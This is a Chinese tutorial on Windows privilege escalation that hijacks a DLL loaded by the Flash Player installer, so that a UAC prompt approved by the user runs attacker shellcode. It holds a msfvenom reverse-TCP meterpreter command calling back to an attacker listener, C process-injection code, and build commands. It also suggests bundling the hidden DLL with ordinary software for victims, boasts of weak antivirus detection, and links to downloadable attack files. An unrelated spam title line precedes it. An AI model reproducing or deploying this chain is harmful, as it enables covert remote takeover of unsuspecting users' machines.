自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

借用UAC完成的提權(quán)思路分享

安全 應(yīng)用安全
UAC(User Account Control,用戶帳戶控制)是微軟為提高系統(tǒng)安全而在Windows Vista中引入的新技術(shù),它要求用戶在執(zhí)行可能會(huì)影響計(jì)算機(jī)運(yùn)行的操作或執(zhí)行更改影響其他用戶的設(shè)置的操作之前,提供權(quán)限或管理員‌密碼。

0x00 背景

UAC(User Account Control,用戶帳戶控制)是微軟為提高系統(tǒng)安全而在Windows Vista中引入的新技術(shù),它要求用戶在執(zhí)行可能會(huì)影響計(jì)算機(jī)運(yùn)行的操作或執(zhí)行更改影響其他用戶的設(shè)置的操作之前,提供權(quán)限或管理員‌密碼。也就是說(shuō)一旦用戶允許啟動(dòng)的應(yīng)用程序通過(guò)UAC驗(yàn)證,那么這個(gè)程序也就有了管理員權(quán)限。如果我們通過(guò)某種方式劫持了通過(guò)用戶UAC驗(yàn)證的程序,那么相應(yīng)的我們的程序也就實(shí)現(xiàn)了提權(quán)的過(guò)程。

0x01 提權(quán)過(guò)程概述

首先我們找到目標(biāo)程序,查找其動(dòng)態(tài)加載的dll文件然后將其替換掉,插入我們包含shellcode的dll文件,這樣用戶在安裝此文件的時(shí)候就會(huì)調(diào)用我們的dll文件,并執(zhí)行我們的shellcode代碼。同時(shí)為了防止程序崩掉導(dǎo)致我們的代碼退出,采用注入的方式保證shellcode的穩(wěn)定執(zhí)行。在此過(guò)程中,如果目標(biāo)程序請(qǐng)求UAC權(quán)限,對(duì)于用戶來(lái)說(shuō)這是一個(gè)正常的安裝文件,一旦通過(guò)UAC驗(yàn)證,相應(yīng)我們的shellcode也完成了提權(quán)過(guò)程。替換安裝包dll文件這種行為太過(guò)于敏感,其實(shí)最后實(shí)現(xiàn)的方式是找到目標(biāo)程序需要加載的,并且當(dāng)前目錄又不存在的需要聯(lián)網(wǎng)下載的dll文件,我們只需要在該目錄下放一個(gè)同名dll文件即可。

0x02 實(shí)驗(yàn)環(huán)境

Kali Debian7

Kali集成Metasploit等漏洞利用工具,方便提取shellcode和反彈TCP連接。最好安裝一個(gè)Mingw-w64用于編譯c代碼。

windows7 x64

主要的目標(biāo)測(cè)試環(huán)境。

Procmon.exe

Procmon是微軟出的一款強(qiáng)大的Windows監(jiān)視工具,不但可以監(jiān)視進(jìn)程/線程,還可以監(jiān)控到文件系統(tǒng),注冊(cè)表的變化等。

install_flashplayer15x32_mssd_aaa_aih

這里我們以flashplayer安裝文件作為目標(biāo)文件,版本為15x32_mssd_aaa_aih,可自行下載,或者從最后的打包附件中找到。

0x03 詳細(xì)提權(quán)過(guò)程

查找可劫持的dll文件

首先我們?cè)趙in7系統(tǒng)下先打開(kāi)procmon監(jiān)控軟件,清除一下日志信息,然后運(yùn)行我們的目標(biāo)文件install_flashplayer15x32_mssd_aaa_aih,運(yùn)行過(guò)后會(huì)彈出UAC選項(xiàng),需要用戶確認(rèn)授權(quán)。

 

 

這里我們點(diǎn)“是”,然后安裝包開(kāi)始安裝并自刪除,并從服務(wù)器下載所需的文件,這時(shí)候就可以關(guān)掉了,因?yàn)槲覀冎恍枰丛撥浖技虞d了哪些dll文件。

看下Procmon.exe記錄所有行為

 

 

信息量太大,我們需要過(guò)濾出有用的信息。

首先是只看我們目標(biāo)進(jìn)程的信息,添加過(guò)濾規(guī)則:

Process Name is install_flashplayer15x32_mssd_aaa_aih

然后是過(guò)濾掉加載系統(tǒng)的dll文件,只看安裝包當(dāng)前目錄下加載的dll文件,我這里安裝包存放在dllhijack文件夾下,添加過(guò)濾規(guī)則:

Path contains dllhijack

并且該加載dll不存在,需要聯(lián)網(wǎng)從服務(wù)器下載,最后再添加一個(gè)過(guò)濾規(guī)則:

Result is NAME NOT FOUND

三個(gè)過(guò)濾規(guī)則如下所示:

 

 

經(jīng)過(guò)三個(gè)規(guī)則過(guò)濾后,留下的信息就很明顯了,如下圖所示:

 

 

上邊所列的dll文件都是會(huì)嘗試加載,并且找不到,會(huì)聯(lián)網(wǎng)進(jìn)行下載的dll文件,因此,我們的目標(biāo)就是劫持這些dll文件,也不需要替換,直接將我們的dll文件放在安裝包同目錄即可,這也是為什么選擇這個(gè)安裝程序測(cè)試的原因。如果選擇其他安裝包測(cè)試的,最好也是選擇這種聯(lián)網(wǎng)安裝類型的,所有文件都從服務(wù)器拉取,如果安裝程序沒(méi)有對(duì)這些從服務(wù)器拉取的文件進(jìn)行效驗(yàn),就能夠被劫持。

編寫(xiě)exploit

找到劫持了dll文件后,我們進(jìn)入Debian系統(tǒng)用msf生成shellcode,這里我們選擇反彈tcp的shellcode,需要知道服務(wù)器ip地址和監(jiān)聽(tīng)端口,這里也選擇Debian系統(tǒng)作為服務(wù)器,ifconfig查看下ip,設(shè)置監(jiān)聽(tīng)端口為9000,最后執(zhí)行如下命令生成shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c

 

 

為了防止程序掛掉或者退出導(dǎo)致shellcode也跟著退出,采用注入的方式,將shellcode注入rundll32.exe進(jìn)程,然后連接遠(yuǎn)程端口。服務(wù)器監(jiān)聽(tīng)該端口,一旦有請(qǐng)求就建立會(huì)話連接,注入關(guān)鍵代碼:

 

  1. if (CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {  
  2.     ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;  
  3.     GetThreadContext(pi.hThread, &ctx);      
  4.  
  5.     ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);      
  6.  
  7.     WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);      
  8.  
  9.     #ifdef _WIN64  
  10.             ctx.Rip = (DWORD64)ep;  
  11.     #else  
  12.             ctx.Eip = (DWORD)ep;  
  13.     #endif      
  14.  
  15.     SetThreadContext(pi.hThread, &ctx);      
  16.  
  17.     ResumeThread(pi.hThread);  
  18.     CloseHandle(pi.hThread);  
  19.     CloseHandle(pi.hProcess);  

 

最后將程序編譯,這里編譯直接在Debian系統(tǒng)下用Mingw-w64編譯,命令入下:

root@idhyt:~/maldemo# i686-w64-mingw32-gcc template.c -o template.dll –shared

root@idhyt:~/maldemo# file template.dll

template.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows

將編譯好的template.dll拷貝到win7系統(tǒng)中備用。

debian系統(tǒng)設(shè)置服務(wù)器并監(jiān)聽(tīng)9000端口,所有命令如下:

 

 

提權(quán)

將編譯的template.dll文件放在install_flashplayer15x32_mssd_aaa_aih目錄下,從我們監(jiān)控到的可劫持dll文件中選擇一個(gè),這里我選擇dhcpcsv6.dll。將我們的dll文件改名為dhcpcsvc6.dll,其他dll文件可自行嘗試。之后重新運(yùn)行安裝包,彈出UAC選項(xiàng)后點(diǎn)“是”。

之后我們?cè)赿ebian系統(tǒng)的服務(wù)端會(huì)看到我們已經(jīng)監(jiān)聽(tīng)到了這個(gè)端口,看下會(huì)話信息:

 

 

查看下當(dāng)前uid,然后執(zhí)行g(shù)etsystem命令權(quán)限:

 

 

可以看到已經(jīng)提權(quán)成功,然后進(jìn)入shell查看下文件,運(yùn)行個(gè)計(jì)算器什么的

 

 

0x04 總結(jié)

UAC很大程度上減少PC受到惡意軟件侵害的機(jī)會(huì),但是并不表明是不可被利用的。通過(guò)這種dll劫持方式,可以將dll文件設(shè)置為隱藏,并將正常的軟件(如adobe flash player)打包給用戶,用戶基本是察覺(jué)不到的,一旦用戶正常安裝,機(jī)器就會(huì)被攻擊者控制。一些病毒通過(guò)劫持lpk.dll等系統(tǒng)dll文件造成的病毒體執(zhí)行,也是利用這種思路,但是替換系統(tǒng)文件這種敏感操作,基本逃不過(guò)殺軟的監(jiān)控了。

各殺軟廠商對(duì)shellcode這種檢測(cè)和防御也不夠嚴(yán)格,直接從msf中提取的shellcode,沒(méi)做任何變形和過(guò)殺軟處理,然后virustotal網(wǎng)站上掃描結(jié)果如下:

 

 

可以看出總共用了56中殺毒軟件掃描,報(bào)毒的只有16個(gè),然后看下國(guó)內(nèi)的殺軟:

 

 

國(guó)內(nèi)殺軟全都沒(méi)有報(bào)毒,所以通過(guò)dll劫持提權(quán)還是有很大的使用空間。 代碼和安裝包上傳百度網(wǎng)盤(pán):鏈接: http://pan.baidu.com/s/1ntAbfQD 密碼: rmsq 解壓碼:ks123456

責(zé)任編輯:藍(lán)雨淚 來(lái)源: 烏云知識(shí)庫(kù)
相關(guān)推薦

2011-03-07 11:36:23

FileZillaSe

2021-01-06 08:04:30

Linux方式提權(quán)

2021-01-13 08:14:36

Windows提權(quán)漏洞攻擊

2009-07-25 16:52:29

2021-05-01 20:52:30

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2023-06-11 17:24:26

2016-12-12 09:11:20

2013-11-29 15:34:00

2017-03-25 20:30:15

2024-07-31 08:46:10

2015-03-13 10:06:55

2019-12-01 22:34:42

提權(quán)web安全漏洞

2009-07-25 17:24:45

2012-11-15 13:44:36

Plesk密碼提權(quán)密碼

2024-01-15 00:25:59

2018-07-05 10:44:09

Windows提權(quán)漏洞

2016-09-26 14:40:25

Windows內(nèi)網(wǎng)實(shí)用命令

2020-10-06 13:58:25

漏洞

2010-12-10 15:23:49

Linux漏洞

2024-07-31 08:50:20

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)